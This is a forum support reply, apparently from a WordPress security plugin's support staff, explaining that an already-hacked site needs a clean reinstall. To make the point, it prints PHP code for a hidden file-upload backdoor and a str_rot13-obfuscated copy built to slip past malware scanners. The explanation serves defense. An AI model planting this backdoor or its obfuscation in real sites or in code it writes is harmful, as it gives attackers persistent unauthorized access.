ah ok now i see what the problem is. Your website was already hacked before you installed BPS.
BPS does not automatically clean up a hacked website. You can try using a scanning plugin to find and clean the site, but scanning plugins are only capable of finding some and not all of the hackers files. They will not detect hacker’s backdoor scripts.
So the best thing to do would be to restore your website from a good backup or backup your entire website and database and then delete your entire site and database and install everything brand new and then import ONLY your database content tables.
A hacker’s very simple backdoor uploader – just a simple upload form. A scanning plugin will not find this code and the hacker will just upload his/her files again to your website.
if (isset($_POST['booger'])) {
$tmp_file = $_FILES['blah']['tmp_name'];
$folder_path = $_SERVER['DOCUMENT_ROOT'].'/';
$uploaded_file = $_FILES['blah']['name'];
if (!empty($_FILES)) {
move_uploaded_file($tmp_file, $uploaded_file);
}
}
<form name="Scanners_Dont_See_Me" action="" method="post" enctype="multipart/form-data">
<input name="blah" type="file" />
<input type="submit" name="booger" class="button" value="Kitty Cat" />
</form>
And for the scanners that look for forms and form processing coding they are easily beaten by using the str_rot13 php function or many other methods to hide the form and form processing coding.
This is the exact same form processing code as shown above, but it is hidden using str_rot13
str_rot13('vs (vffrg($_CBFG['."'".obbtre."'".'])) {
$gzc_svyr = $_SVYRF['."'".oynu."'".']['."'".gzc_anzr."'".'];
$sbyqre_cngu = $_FREIRE['."'".QBPHZRAG_EBBG."'".']'."."."'"."/'".';
$hcybnqrq_svyr = $_SVYRF['."'".oynu."'".']['."'".anzr."'".'];
vs (!rzcgl($_SVYRF)) {
zbir_hcybnqrq_svyr($gzc_svyr, $hcybnqrq_svyr);
}
}');
